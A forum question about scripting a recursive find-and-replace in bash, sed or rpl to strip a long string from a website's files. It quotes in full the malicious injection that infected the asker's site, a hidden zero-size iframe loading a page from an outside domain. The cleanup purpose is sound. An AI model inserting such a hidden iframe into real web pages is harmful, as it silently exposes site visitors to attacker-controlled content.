title: How to pass long strings for search and replace in a bash, sed, or rpl script?
body: <p>I am working to create a script which will take a string as an argument and replace recursively in a directory. The simple case (a single word) is admirably handled by the following find and replace script:</p>
  
  <blockquote>
    <p><code>grep -rl $1 . | xargs sed -i .backup -e "s/$1/$2/g"</code></p>
  </blockquote>
  
  <p>But here things get a bit more tricky. The string I am trying to deal with is a malware script which infected a website I wrote (but do not host):</p>
  
  <blockquote>
    <p><code>&lt;iframe src="http://reycross.cn/qaqa/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no&gt;&lt;/iframe&gt;</code></p>
  </blockquote>
  
  <p>This string is obviously complex for both bash and sed would require some escaping. I have experimented with rpl, a special purpose replacement tool, but it doesn't handle the whitespace well:</p>
  
  <blockquote>
    <p><code>rpl -pR $* '' *</code></p>
  </blockquote>
  
  <p>At the prompt however, I am able to replace $* with the string and get the expected behavior. Any ideas about how to wrangle bash, sed, or rpl into a cute remove-long-string.sh?</p>